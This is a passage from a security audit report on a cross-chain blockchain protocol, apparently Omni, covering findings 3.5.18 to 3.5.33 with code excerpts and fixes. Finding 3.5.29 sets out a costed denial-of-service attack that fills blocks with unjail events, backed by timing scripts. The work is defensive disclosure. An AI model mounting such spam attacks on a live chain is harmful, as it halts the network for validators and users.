105         _setInXBlockOffset(p.omniCChainId, omniCShard, p.cChainXBlockOffset);
106     }
```

- Recommendation

3.5.18 The `attestation offset` set to the `approvedByChain` map is wrong when `finalized attestation override` occurs

Severity: Medium Risk

Context: keeper.go#L277, keeper.go#L290, keeper.go#L317, keeper.go#L320-L327, keeper.go#L365-L370, keeper.go#L503-L510, voter.go#L403-L404, voter.go#L408-L409

- Description

The `Approve` function of the `attest/keeper/keeper.go`, is called at the end of each block (in the `EndBlock` function) to approve any pending attestations that have quorum signatures from the provided set.

In the `Approve` function the `approvedByChain` map is implemented to `cache` the `latest approved attestation offset` by chain version. The `latest approved attestation` is retrieved by calling the `latestAttestation()` function as shown below:

```
            latest, found, err := k.latestAttestation(ctx, att.XChainVersion())
```

And then the offset of the above latest approved attestation is assigned to the approvedByChain for the respective chainVer as shown below:

```
                approvedByChain[chainVer] = latest.GetAttestOffset()
```

One important thing to note here is if the latest approved attestation is overridden by a finalized attestation then the finalized attestation is returned as the latest approved attestation by the latestAttestation() function. Hence the offset assigned to the approvedByChain mapping for the respective chainVer is the attestation offset of the finalized attestation.

Now let's consider the scenario where isApproved() function is called on a set of signatures of a pending attestation to check whether the attestation has received quorum signature power from the provided validator set to approve the respective attestation. If there is not enough quorum signature power from the provided validator set to approve the attestation then the maybeOverrideFinalized function is called to check if there is a finalized attestation to override this pending attestation thus making this pending attestation Approved. If the Pending attestation has a finalized attestation then the pending attestation is Approved as shown below:

```
    att.FinalizedAttId = finalized.GetId()
    att.Status = uint32(Status_Approved)
    if err = k.attTable.Update(ctx, att); err != nil {
        return false, errors.Wrap(err, "update attestation")
    }
```

But the issue is when the approvedByChain[chainVer] map is updated for this finalized attestaion override scenario, the attestation offset of the previously pending attestation is used as the attestatoin offset instead of the attestation offset of the finalized attestation itself. This is wrong since the finalized attestation has overridden the previously pending attestation in this scenario and as a result the attestation offset of the finalized attestation should be used as the approvedByChain[chainVer] value.

Due to this issue the approvedByChain[chainVer] map is not correctly updated for the finalized attestation override scenario thus containing stale offset value in the map. Due to this issue the minVoteWindows calculation for the respective chainVer happening later in the Approve function will result in wrong value.

```
    for chainVer, head := range approvedByChain {
        minVoteWindows[chainVer] = umath.SubtractOrZero(head, k.voteWindowDown)
    }
    count := k.voter.TrimBehind(minVoteWindows)
```

As a result the call to the voter.TrimBehind will result in wrong calculations of the amount of available and propsed votes of the respective voter. Hence this breaks the internal accounting of the available and proposed votes of the voter thus affecting the subsequent attestation approvals by validators.

- Recommendation

Hence it is recommended to update the logic to assign the finalized attestation offset to the approvedByChain[chainVer] map value, in the scenario where pending attestation is Approved via finalized attestation override scenario.

The recommended logic implementation in the Approve function to resolve the above issue, is as follows:

```
                att, err := k.attTable.Get(ctx, att.GetFinalizedAttId())
                if err != nil {
                    return nil, false, errors.Wrap(err, "get finalized attestation")
                }
                approvedByChain[chainVer] = att.GetAttestOffset()
```

3.5.19 Validators will not be able to change their commission rates when staking rewards are enabled

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

In the future staking rewards will be enabled. This will possibly be done by allowing validators to modify their commission rates.

However, in the `evmstaking` module, the `MaxChangeRate` and `MaxRate` rates are all set to 0

```
    msg, err := stypes.NewMsgCreateValidator(
        valAddr.String(),
        pubkey,
        amountCoin,
        stypes.Description{Moniker: ev.Validator.Hex()},
        stypes.NewCommissionRates(math.LegacyZeroDec(), math.LegacyZeroDec(), math.LegacyZeroDec()),
        math.NewInt(1))
```

This will make it a problem in the future, when validators are given the ability to send `MsgEditValidator`, because the validator can only modify the commission rates following the below rules:

https://docs.cosmos.network/v0.46/modules/staking/03_messages.html#msgeditvalidator

This message is expected to fail if:

- the initial CommissionRate is either negative or > MaxRate
- the CommissionRate has already been updated within the previous 24 hours
- the CommissionRate is > MaxChangeRate

Since `MaxChangeRate` and `MaxRate` rates are all set to 0, the validator will never be able to change their commission rates in the future, when staking rewards are enabled.

- Recommendation

Set these values to non-zero values.

3.5.20 Missing Future Block Time Window Validation in PrepareProposal

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The PrepareProposal function lacks validation for future block timestamps, potentially allowing blocks to be proposed with timestamps too far in the future, which could disrupt chain timing and consensus.
- Finding Description In the current implementation:

```
func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPrepareProposal) {
    // Time is used without future window validation
    fcr, err := k.startBuild(ctx, appHash, req.Time)

    // Missing future time window check:
    // if req.Time.After(time.Now().Add(maxFutureTime)) {
    //     return nil, errors.New("block time too far in future")
    // }
}
```

The function accepts any future timestamp without validating if it's within a reasonable time window. This could allow malicious proposers to create blocks with timestamps far in the future.

- Recommendation (optional) Add future time window validation

3.5.21 Chain Halting Risk from Failed System Calls

Severity: Medium Risk

Context: OmniPortal.sol#L330

- Description The OmniPortal contract has a vulnerability in its cross-chain messaging system where failed system calls (`syscall`) can permanently halt message processing. The issue stems from the interaction between strict message ordering and different error handling approaches for system calls versus normal calls.

The contract enforces strict message ordering through an offset counter:

```
require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
```

For normal cross-chain messages, failures are handled gracefully using `excessivelySafeCall`:

```
function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪  uint256) {
    // ...
    (bool success, bytes memory result) =
        to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata: data });
    // Execution continues even if call fails
    return (success, result, gasLeftBefore - gasLeftAfter);
}
```

However, system calls revert the entire transaction on failure:

```
function _syscall(bytes calldata data) internal returns (bool, bytes memory, uint256) {
    uint256 gasUsed = gasleft();
    (bool success, bytes memory result) = address(this).call(data);
    gasUsed = gasUsed - gasleft();
    if (!success) {
        assembly {
            revert(add(result, 32), mload(result))
        }
    }
    return (success, result, gasUsed);
}
```


This creates a deadlock scenario where:

1. A system call message arrives with offset N+1
2. The system call fails and reverts
3. The `inXMsgOffset` counter cannot increment
4. All future messages (offset N+2) will fail the offset check
5. No mechanism exists to skip the failed message

- Impact The vulnerability can cause catastrophic chain failure:
- A single failed system call can permanently halt cross-chain message processing
- No recovery mechanism exists without protocol modification
- While no immediate exploit path exists, the risk increases as new system call functionality is added
- Future bugs in system call implementation could trigger an unrecoverable chain state
- Recommendation Implement one of the following solutions:

1. **Add Skip Mechanism**

```
function skipFailedSystemCall(
    uint64 sourceChainId,
    uint64 shardId,
    uint64 offset
) external onlyAdmin {
    require(
        offset == inXMsgOffset[sourceChainId][shardId] + 1,
        "Invalid skip offset"
    );
    inXMsgOffset[sourceChainId][shardId] = offset;
    emit SystemCallSkipped(sourceChainId, shardId, offset);
}
```

2. **Remove Revert on System Call Failure**

```
function _syscall(bytes calldata data) internal returns (bool, bytes memory, uint256) {
    uint256 gasUsed = gasleft();
    (bool success, bytes memory result) = address(this).call(data);
    gasUsed = gasUsed - gasleft();
    // Handle failure like normal calls
    return (success, result, gasUsed);
}
```

3.5.22 Spamming of XMsg can lead to DoS of the consensus chain

Severity: Medium Risk

Context: OmniPortal.sol#L151

- Description Every `XMsg` event emitted by `OmniPortal` requires heavy consensus chain work from all validators that need to attest to the xblock, build a merkle tree, create vote extensions, aggregate the signatures, store it on disk, etc.

If an attacker can spam `XMsg` events for cheap, they can cause a DoS on the consensus chain, validators will be unable to catch up with other xmsgs that might be lost due to stale streams.

Note that the work is proportional to the number of validators of the current network but the current protocol fee is a fixed amount. Right now the fees seem to mainly model the EVM work and the cost of executing the call when relaying, not the consensus chain work done by the validator set.

- Recommendation All this work, especially the consensus chain work, must be priced in via a fee oracle. This might require a new fee model.

3.5.23 Excess Unjail Fee Not Refunded to Users

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `_burnFee` function in the Slashing contract burns all sent ETH without refunding excess amounts above the required fee.

Users who accidentally send more than the required 0.1 ETH fee will lose their excess funds permanently.

- Finding Description

In the Slashing contract's `_burnFee` function:

```
function _burnFee() internal {
        require(msg.value >= Fee, "Slashing: insufficient fee");
        payable(BurnAddr).transfer(msg.value);
    }
```

The function:

Checks if the sent amount is at least the required fee (0.1 ETH)

Transfers the entire msg.value to the burn address

Does not implement any mechanism to refund excess amounts

This means if a user sends 1 ETH when only 0.1 ETH is required, the entire 1 ETH will be burned instead of burning 0.1 ETH and refunding 0.9 ETH to the user.

- Impact Explanation

The impact is considered Low because:

The financial loss is limited to the excess amount sent above the required fee

Users can still successfully unjail their validators

The core functionality of the contract is not compromised

The issue doesn't affect the security of the consensus mechanism

However, the impact on individual users could be significant if they accidentally send large amounts.

- Likelihood Explanation

The likelihood is rated as High because:

It's common for users to accidentally send more ETH than required

Users might assume excess amounts would be refunded as this is common practice

- Proof of Concept (if required)
- Recommendation (optional)

Implement a refund mechanism for excess fees:

```
function _burnFee() internal {
    require(msg.value >= Fee, "Slashing: insufficient fee");

    // Burn only the required fee amount
    payable(BurnAddr).transfer(Fee);

    // Refund any excess amount
    uint256 excess = msg.value - Fee;
    if (excess > 0) {
        payable(msg.sender).transfer(excess);
    }
}
```

3.5.24 Use of Deprecated transfer() Function for Fee Transfer

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The Slashing contract uses the deprecated `transfer()` function to send ETH to the burn address.

The `transfer()` function has a fixed gas stipend of 2300 gas which may cause issues with smart contract burn addresses and can make the contract incompatible with future Ethereum upgrades.

- Finding Description

In the Slashing contract's `_burnFee` function:

```
    function _burnFee() internal {
        require(msg.value >= Fee, "Slashing: insufficient fee");
        payable(BurnAddr).transfer(msg.value);
    }
```

Issues with using `transfer()`:

Hard-coded 2300 gas limit which cannot be changed

Not future-proof against potential Ethereum gas cost changes

OpenZeppelin and other security organizations recommend against its use

- Impact Explanation

The impact is rated as Medium because:

If gas costs change in future Ethereum upgrades, the function might fail

Failed transfers will revert the entire transaction

Users won't be able to unjail validators if the transfer fails

Contract might become unusable without an upgrade

- Likelihood Explanation

The likelihood is rated as Medium because:

Ethereum has a history of gas cost changes

Many projects have faced issues with transfer()

The issue is well-documented and known

Future Ethereum upgrades might affect gas costs

- Proof of Concept (if required)
- Recommendation (optional)

Replace `transfer()` with the recommended `call()` pattern:

```
contract Slashing {
    error FeeTransferFailed();

    function _burnFee() internal {
        require(msg.value >= Fee, "Slashing: insufficient fee");

        // Using call() instead of transfer()
        (bool success, ) = payable(BurnAddr).call{value: msg.value}("");
        if (!success) {
            revert FeeTransferFailed();
        }
    }
}
```

3.5.25 XMsgs after reorg will be lost

Severity: Medium Risk

Context: OmniPortal.sol#L243

- Description The "latest"-shard XBlock is attested to and delivered on the destination chain which increases `inXMsgOffset[sourceChainId][shardId]` on the destination chain. Then the block is reorged ("resetting" the `outXMsgOffset[destChainId][shardId]` offset) and any new XMsgs sent on the source chain will essentially reuse the already used offsets. They cannot be delivered to the destination chain anymore as the offset there was not reset by the reorg and it will revert in `_exec`:

```
require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
```

The result is that users that send messages after an XBlock has been reorged are guaranteed to have their XMsgs fail during `xsubmit()` (up to the number of messages in the reorged block). Note this issue is different from a reorg not guaranteeing (attestation and) delivery of messages in the reorged XBlock on the "latest" shard itself. This issue references XMsgs in the new block that replaces the reorged block, the other issue is about XMsgs in the reorged block itself.

- Recommendation Monitor reorgs of XBlocks that have already been attested to, relay their XMsgs, and then update the `outXMsgOffset` on the source chain to skip the reorged XMsg offsets that have already been used and cannot be delivered anymore. An owner-only function like `setInXMsgOffset` but for `outXMsgOffset` could be added.

3.5.26 Portal Registry updates ignore fields

Severity: Medium Risk

Context: PortalRegistry.sol#L128, logeventproc.go#L146

- Description When an existing Portal is updated in `PortalRegistry.sol` by emitting the `PortalRegistered()` event, the backend code merges the new Portal with the existing one.

```
event PortalRegistered(
    uint64 indexed chainId,
    address indexed addr,
    uint64 deployHeight,
    uint64 attestInterval,
    uint64 blockPeriodNs,
    uint64[] shards,
    string name
);
```

```
toMerge := newShards(e.GetShardIds(), portal.GetShardIds())
if len(toMerge) == 0 {
  // @audit-info toMerge is only new ones in portal \ existing
  return nil, errors.New("cannot merge existing portal with no new shards",
    "existing", e.GetShardIds(), "new", portal.GetShardIds())
}

existing[i].ShardIds = append(existing[i].ShardIds, toMerge...)
```

However, this only updates the `ShardIds` field and ignores the `attestInterval`, `blockPeriodNs`, and `name` fields. Any updates to these fields will be ignored. It will still use the old attest interval (the number of blocks before a forced attestation of an empty XBlock is created) and not attest to XBlocks according to the updated interval, breaking functionality.

- Recommendation Consider overriding the `attestInterval`, `blockPeriodNs`, and `name` fields with the new values when merging the new Portal with the existing one.

3.5.27 `insertValidatorSet` should perform validation before emitting portal XMsg

Severity: Medium Risk

Context: keeper.go#L217

- Description When `insertValidatorSet` is called, the call to `EmitMsg` happens before the validators in that set are validated. Note that the `EmitMsg` will store the message in the portal keeper's `msgTable`, even if the validation fails and we return with an error in the function later. Other validators will attest to the XBlock. As the validators will not be stored in the valsync keeper's `valTable` on error, we will return an error in `processAttested` when trying to find the validators for the x-chain validator set once it is attested to.

```
// processAttested
// @audit this will fail as they were not inserted into the valTable
valIter, err := k.valTable.List(ctx, ValidatorValsetIdIndexKey{}.WithValsetId(valset.GetId()))
if err != nil {
  return nil, errors.Wrap(err, "list validators")
}
```

This leads to `EndBlock` always returning an error and the chain halts. It's harder to recover from this inconsistent database tables error.

- Recommendation In `insertValidatorSet`, perform all possible checks first before emitting the xchain msg.

```
// @audit do verifications first before we EmitMsg
for _, val := range vals {
        if err := val.Validate(); err != nil {
            return 0, err
        }

        totalPower += val.GetPower()
        if val.GetPower() < 0 {
            return 0, errors.New("negative power")
        }
```

```
        pubkey, err := crypto.DecompressPubkey(val.GetPubKey())
        if err != nil {
            return 0, errors.Wrap(err, "get pubkey")
        }
        powers[crypto.PubkeyToAddress(*pubkey)] = val.GetPower()
}

// @audit now create validator set
valset := &ValidatorSet{
    CreatedHeight: uint64(sdkCtx.BlockHeight()),
    Attested: isGenesis, // Only genesis set is automatically attested.
}

valset.Id, err = k.valsetTable.InsertReturningId(ctx, valset)
if err != nil {
    return 0, errors.Wrap(err, "insert valset")
}
valset.AttestOffset, err = k.emilPortal.EmitMsg(
        sdkCtx,
        ptypes.MsgTypeValSet,
        valset.GetId(),
        xchain.BroadcastChainID,
        xchain.ShardBroadcast0,
)

// @audit insert validators with link to validator set id
for _, val := range vals {
        val.ValsetId = valset.GetId()
        err = k.valTable.Insert(ctx, val)
        if err != nil {
            return 0, errors.Wrap(err, "insert validator")
        }
}
```

3.5.28 `parseAndVerifyProposedPayload` does not ensure `Deposits` are empty

Severity: Medium Risk

Context: keeper.go#L115

- Description The `msg.ExecutionPayload` has the following data when parsed as `engine.ExecutableData`:

```
type ExecutableData struct {
    ParentHash       common.Hash            `json:"parentHash"    gencodec:"required"`
    FeeRecipient     common.Address         `json:"feeRecipient"  gencodec:"required"`
    StateRoot        common.Hash            `json:"stateRoot"     gencodec:"required"`
    ReceiptsRoot     common.Hash            `json:"receiptsRoot"  gencodec:"required"`
    LogsBloom        []byte                 `json:"logsBloom"     gencodec:"required"`
    Random           common.Hash            `json:"prevRandao"    gencodec:"required"`
    Number           uint64                 `json:"blockNumber"   gencodec:"required"`
    GasLimit         uint64                 `json:"gasLimit"      gencodec:"required"`
    GasUsed          uint64                 `json:"gasUsed"       gencodec:"required"`
    Timestamp        uint64                 `json:"timestamp"     gencodec:"required"`
    ExtraData        []byte                 `json:"extraData"     gencodec:"required"`
    BaseFeePerGas    *big.Int               `json:"baseFeePerGas" gencodec:"required"`
    BlockHash        common.Hash            `json:"blockHash"     gencodec:"required"`
    Transactions     [][]byte               `json:"transactions"  gencodec:"required"`
    Withdrawals      []*types.Withdrawal    `json:"withdrawals"`
    BlobGasUsed      *uint64                `json:"blobGasUsed"`
    ExcessBlobGas    *uint64                `json:"excessBlobGas"`
    Deposits         types.Deposits         `json:"depositRequests"`
    ExecutionWitness *types.ExecutionWitness `json:"executionWitness,omitempty"`
}
```

The `Deposits` field is a list of `types.Deposit` structs. They are currently unused in the EVM execution client but could be used in the future. Either way, they are not necessary for Omni (as they relate to Ethereum consensus chain deposits) and should be empty. A malicious validator can fill up the deposits field with data such that the cosmos block proposal is right under the `cmttypes.MaxBlockSizeBytes*9/10` 94 MB limit. As the validators ignore this field during their `ProcessProposal()` phase, they will accept this block. It could lead to network degradation as more block data needs to be transmitted to and stored on all

validators. Validators on weak hardware might run out of disk space as the block size is much larger than the average Ethereum block size.

- Recommendation Ensure the `Deposits` field is empty in `octane/evmengine/keeper/keeper.go:parseAndVerifyPr`

3.5.29 Unjail events can be weaponized to halt the chain at a low cost

Severity: Medium Risk

Context: Slashing.sol#L48

- Impact

The `Slashing` predeploy charges users a fee for unjailing their validators, which equals `0.1 ether`. However, the gas token of the Omni network is the `$OMNI` token, not `$ETH`, so `0.1 ether` is not `~250$`, but rather `0.712$`, as seen here. This is not enough to prevent a malicious user from spamming some blocks with calls to `Slashing::unjail`, filling them with `Unjail` events and bringing the node to a downtime in `evmmsgs::evmEvents -> evmslashing::Prepare -> evmslashing::FilterLogs` as the connection *blocks* the execution until the query is done. After doing some testing, which I explain in the next section, the attack would cost `~3000$` per block with `~1.6-2s` downtime.

REFERENCE: https://blog.trailofbits.com/2023/10/23/numbers-turned-weapons-dos-in-osmosis-math-library/

- Proof of Concept

The attack is pretty simple, just fill a few blocks with calls to `Slashing::Unjail`, paying each time `0.712$` at the current price, so that the Cosmos client, when querying the EVM logs for a given blockhash in:

```
// Prepare returns all omni stake contract EVM event logs from the provided block hash.
func (p EventProcessor) Prepare(ctx context.Context, blockHash common.Hash) ([]evmenginetypes.EVMEvent, error)
{
    logs, err := p.ethCl.FilterLogs(ctx, ethereum.FilterQuery{
        BlockHash: &blockHash,
        Addresses: p.Addresses(),
        Topics:    [][]common.Hash{{unjailEvent.ID}},
    })
    if err != nil {
        return nil, errors.Wrap(err, "filter logs")
    }

    resp := make([]evmenginetypes.EVMEvent, 0, len(logs))
    for _, l := range logs {
        topics := make([][]byte, 0, len(l.Topics))
        for _, t := range l.Topics {
            topics = append(topics, t.Bytes())
        }
        resp = append(resp, evmenginetypes.EVMEvent{
            Address: l.Address.Bytes(),
            Topics:  topics,
            Data:    l.Data,
        })
    }

    return resp, nil
}
```


blocks the execution of the program until it gets back the *invalid* logs from the `FilterLogs` function, and then loops through all of them many times in `evmmsgs::evmEvents`:

```
// evmEvents returns all EVM log events from the provided block hash.
func (k *Keeper) evmEvents(ctx context.Context, blockHash common.Hash) ([]types.EVMEvent, error) {
    var events []types.EVMEvent
    for _, proc := range k.eventProcs {
        // Fetching evm events over the network is unreliable, retry forever.
        err := retryForever(ctx, func(ctx context.Context) (bool, error) {
            ll, err := proc.Prepare(ctx, blockHash)
            if err != nil {
                log.Warn(ctx, "Failed fetching evm events (will retry)", err, "proc", proc.Name())
                return false, nil // Retry
            }

            events = append(events, ll...)
```

```
            return true, nil // Done
        })
        if err != nil {
            return nil, err
        }
    }

    // Verify all events
    for _, event := range events {
        if err := event.Verify(); err != nil {
            return nil, errors.Wrap(err, "verify evm events")
        }
    }

    // Sort by Address > Topics > Data
    // This avoids dependency on runtime ordering.
    sort.Slice(events, func(i, j int) bool {
        if cmp := bytes.Compare(events[i].Address, events[j].Address); cmp != 0 {
            return cmp < 0
        }

        // TODO: replace this with sort.CompareFunc in next network upgrade which is more performant but has
↪   slightly different results
        topicI := slices.Concat(events[i].Topics...)
        topicJ := slices.Concat(events[j].Topics...)
        if cmp := bytes.Compare(topicI, topicJ); cmp != 0 {
            return cmp < 0
        }

        return bytes.Compare(events[i].Data, events[j].Data) < 0
    })

    return events, nil
}
```

The attacks costs are as follows:

- The first call to `Slashing::Unjail` costs `35705` gas, and next ones cost `8205` gas (due to cold access to the addresses)
- As Omni network uses a vanilla Geth as the execution client, each block has a maximum gas of `30M`, so `(30M - 35705) / 8205 = 3651,9 = 3651` logs can be emitted
- Each log needs to pay the `0.1 $OMNI` as a fee, so `0.1 * 7.12 * (3651 + 1) = 2600$` in fees (let's say adding execution fees it cost `3000$` per block)
- To test the time needed to query the logs of a full block I used block 21112279 from mainnet, with an access time of `1.6s` (take into account it had less logs than what our attack would, so, in practice, it would be higher). The following code was used:

```
from web3 import Web3
import time

node_url = "RPC_URL"
web3 = Web3(Web3.HTTPProvider(node_url))
before = time.time()
web3.eth.get_logs({"blockHash": "0x15fcb72094b2afcf36642a522e240cebcac361d78b1acd5722b1b5b688ff4c2d"})

print("Time spent ", time.time() - before)
```

- Now, to test the amount of time needed to loop through all the *invalid* events, the following code was used (copy-pasted from the module's):

```
package main

import (
    "fmt"
    "time"
    "encoding/hex"
    "sort"
    "bytes"
    "slices"
)
```

```
type EVMEvent struct {
    Address []byte   `protobuf:"bytes,1,opt,name=address,proto3" json:"address,omitempty"`
    Topics  [][]byte `protobuf:"bytes,2,rep,name=topics,proto3" json:"topics,omitempty"`
    Data    []byte   `protobuf:"bytes,3,opt,name=data,proto3" json:"data,omitempty"`
}

func main() {
    // Inicializamos el nmero de logs
    logs_in_a_block := 3651

    // Creamos el topic en bytes
    topic, _ := hex.DecodeString("c3ef55ddda4bc9300706e15ab3aed03c762d8afd43a7d358a7b9503cb39f281b") //
↪  keccak256("Unjail(address)")

    // Inicializamos el array de logs con los valores especificados
    logs := make([]EVMEvent, logs_in_a_block)
    for i := range logs {
        logs[i] = EVMEvent{
            Address: make([]byte, 20),       // not needed
            Topics:  [][]byte{topic, topic}, // the second topic would be the validator address
            Data:    []byte{},               // no dynamic data
        }
    }

    before := time.Now()
    resp := make([]EVMEvent, 0, logs_in_a_block)

    for _, l := range logs {
        topics := make([][]byte, 0, len(l.Topics))
        for _, t := range l.Topics {
            topics = append(topics, t)
        }
        resp = append(resp, EVMEvent{
            Address: l.Address,
            Topics:  topics,
            Data:    l.Data,
        })
    }

    sort.Slice(logs, func(i, j int) bool {
        if cmp := bytes.Compare(logs[i].Address, logs[j].Address); cmp != 0 {
            return cmp < 0
        }

        // TODO: replace this with sort.CompareFunc in next network upgrade which is more performant but has
↪  slightly different results
        topicI := slices.Concat(logs[i].Topics...)
        topicJ := slices.Concat(logs[j].Topics...)
        if cmp := bytes.Compare(topicI, topicJ); cmp != 0 {
            return cmp < 0
        }

        return bytes.Compare(logs[i].Data, logs[j].Data) < 0
    })

    spent := time.Since(before)
    fmt.Printf("Time spent: %v\n", spent)
}
```

- Overall, the expected downtime from processing such blocks would be, at least, `1.6s` from the networking part and `1.3-1.7ms` from the *"useless looping"*. From the ToB post above, doing this attack in just a few blocks and delaying execution for `~2s` each, would halt the chain completely by spending no more than `15-20K` dollars (not free but not pretty expensive)

I used a PC with a `i9-14900HX`, `32GB RAM` and network speed of 1GB/s to make it as *"production-ready"* as possible.

- Recommended Mitigation Steps

Make `Fee` non-constant (as well as `MinDeposit` and `MinDelegation` in `Staking.sol`), so that a trusted account can change them depending on the price of the `$OMNI` token, to prevent the attack explained above.

3.5.30 Vote Extension Validator Check Conflicts with Multi-Validator Vote Collection

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary There is a critical conflict between vote collection and validation logic. While PrepareVotes is designed to collect votes from all validators, VerifyVoteExtension incorrectly rejects votes from validators other than the requester.
- Finding Description Vote Collection (PrepareVotes):

```
// Collects votes from ALL validators
func PrepareVotes(ctx context.Context, lastCommit *abci.CommitInfo) {
    // Processes vote extensions from all validators in lastCommit
    // Returns MsgAddVotes containing all collected votes
}
```

Vote Validation (VerifyVoteExtension):

```
// Incorrectly rejects votes from other validators
for _, vote := range votes.Votes {
    if !bytes.Equal(vote.Signature.ValidatorAddress, ethAddr[:]) {
        log.Warn(ctx, "Rejecting mismatching vote and req validator address")
        return respReject, nil
    }
}
```

- Impact Explanation
- Valid votes from other validators are rejected
- Prevents proper vote collection
- Breaks cross-chain attestation mechanism
- Recommendation (optional)


```
func (k *Keeper) VerifyVoteExtension(...) {
    votes, ok, err := votesFromExtension(req.VoteExtension)
    if err != nil {
        return respReject, nil
    }

    // Remove validator address check
    // Add other necessary validations

    return respAccept, nil
}
```

3.5.31 Missing Block Height Validation in VerifyVoteExtension Could Lead to Invalid Vote Extensions Being Accepted

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The VerifyVoteExtension function lacks validation of block heights in vote extensions, which could allow validators to submit votes for invalid block heights during the consensus voting phase of Block N.
- Finding Description

```
func (k Keeper) VerifyVoteExtension(...) {
    for _, vote := range votes.Votes {
        // Validates many things but not heights:
        if err := vote.Verify(); err != nil {
            return respReject, nil
        }

        if err := verifyHeaderChains(...) {
            return respReject, nil
        }
        // ... other validations ...
    }
}
```

Missing Critical Height Validations

```
// Should validate height is less than current block
currentHeight := ctx.BlockHeight()
for _, vote := range votes.Votes {
    if vote.BlockHeader.Height >= currentHeight {
        return respReject, errors.New("vote for future block")
    }
}
```

```
// Should validate height is within vote window
minHeight := currentHeight - k.MaxVoteWindow
for _, vote := range votes.Votes {
    if vote.BlockHeader.Height < minHeight {
        return respReject, errors.New("vote too old")
    }
}
```

- Recommendation (optional) Add comprehensive height validation:

3.5.32 Possible Token Approval Manipulation Vulnerability in _bridge Function

Severity: Medium Risk

Context: OmniBridgeL1.sol#L74-L111

Description: The bridge function enables a payor to transfer tokens to an address, based on approvals. If the payor approved a limited amount of tokens, say 100, there is a potential vulnerability with regard to the transferFrom function. In theory, an attacker could exploit a race condition by changing the token approval very rapidly just before the bridge function executes. For example, if the payor wanted to transfer only 100 tokens, an attacker could quickly update the approval to allow a transfer of 1000 tokens. Such a scenario might result in the contract transferring more tokens than what had been initially intended and thereby raises a question over the integrity of the process in the token transfer.

Recommendation: Prior verification of the current allowance directly before invoking the transferFrom method can prevent this risk. Moreover, mechanisms which prevent fast changes in token approvals close to large operations could enhance security even further.

3.5.33 Reorgs will brick XStreams for latest shards

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

In `OmniPortal` it is a strict requirement that the stream offsets of XMsg are monotonically increasing one by one.

```
    function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
        uint64 sourceChainId = xheader.sourceChainId;
        uint64 destChainId = xmsg_.destChainId;
        uint64 shardId = xmsg_.shardId;
        uint64 offset = xmsg_.offset;

        require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");
        require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
```

Here, the `inXMsgOffset` will be the XMsg's `outXMsgOffset` on the source chain

In `voter.go` we can see how the reorg handling works:

```
func (v *Voter) runOnce(ctx context.Context, chainVer xchain.ChainVersion) error {
    chain, ok := v.network.Chain(chainVer.ID)
    if !ok {
        return errors.New("unknown chain ID")
    }

    maybeDebugLog := newDebugLogFilterer(time.Minute) // Log empty blocks once per minute.
    first := true                                     // Allow skipping on first attestation.

    // Use actual chain version to calculate offset to start voting from (to prevent double signing).
    _, skipBeforeOffset, err := v.getFromHeightAndOffset(ctx, chainVer)
    if err != nil {
        return errors.Wrap(err, "get from height and offset")
    }

    // Use finalized chain version to calculate height and offset to start streaming from (for correct offset
↪   calcs).
    finalVer := xchain.ChainVersion{ID: chainVer.ID, ConfLevel: xchain.ConfFinalized}
    fromBlockHeight, fromAttestOffset, err := v.getFromHeightAndOffset(ctx, finalVer)
    if err != nil {
        return errors.Wrap(err, "get from height and offset")
    }

    log.Info(ctx, "Voting started for chain",
        "from_block_height", fromBlockHeight,
        "from_attest_offset", fromAttestOffset,
        "skip_before_offset", skipBeforeOffset,
        "chain", v.network.ChainVersionName(chainVer),
    )

    req := xchain.ProviderRequest{
        ChainID:   chainVer.ID,
        Height:    fromBlockHeight,
        ConfLevel: chainVer.ConfLevel,
    }

    tracker := newOffsetTracker(fromAttestOffset)
    streamOffsets := make(map[xchain.StreamID]uint64)
    var prevBlock *xchain.Block

    return v.provider.StreamBlocks(ctx, req,
        func(ctx context.Context, block xchain.Block) error {
            if !v.isValidator() {
                return errors.New("not a validator anymore")
            }

            if err := detectReorg(chainVer, prevBlock, block, streamOffsets); err != nil {
                reorgTotal.WithLabelValues(v.network.ChainVersionName(chainVer)).Inc()
                // Restart stream, recalculating block offset from finalized version.

                return err
            }
prevBlock = &block

            if !block.ShouldAttest(chain.AttestInterval) {
                maybeDebugLog(ctx, "Not creating vote for empty cross chain block")

                return nil // Do not vote for empty blocks.
            }

            attestOffset, err := tracker.NextAttestOffset(block.BlockHeight)
            if err != nil {
```

```
            return errors.Wrap(err, "next attestation offset")
        }

        // Create a vote for the block.
        attHeader := xchain.AttestHeader{
            ConsensusChainID: v.cChainID,
            ChainVersion:     chainVer,
            AttestOffset:     attestOffset,
        }

        if attestOffset < skipBeforeOffset {
            maybeDebugLog(ctx, "Skipping previously voted block on startup", "attest_offset",
↪  attestOffset, "skip_before_offset", skipBeforeOffset)

            return nil // Do not vote for offsets already approved or that we voted for previously (this
↪  risks double signing).
        }
    ...

// detectReorg returns an error if a reorg is detected based on the following conditions:
// - Previous block hash doesn't match the next block's parent hash.
// - Stream offsets are not consecutive.
func detectReorg(chainVer xchain.ChainVersion, prevBlock *xchain.Block, block xchain.Block, streamOffsets
↪  map[xchain.StreamID]uint64) error {
    if prevBlock == nil {
        return nil // Skip first block (without previous).
    }

    if prevBlock.BlockHeight+1 != block.BlockHeight {
        return errors.New("consecutive block height mismatch [BUG]", "prev_height", prevBlock.BlockHeight,
↪  "new_height", block.BlockHeight)
    }

    for _, xmsg := range block.Msgs {
        offset, ok := streamOffsets[xmsg.StreamID]
        if ok && xmsg.StreamOffset != offset+1 {
            return errors.New("non-consecutive message offsets", "stream", xmsg.StreamID, "prev_offset",
↪  offset, "new_offset", xmsg.StreamOffset)
        }

        // Update the cursor
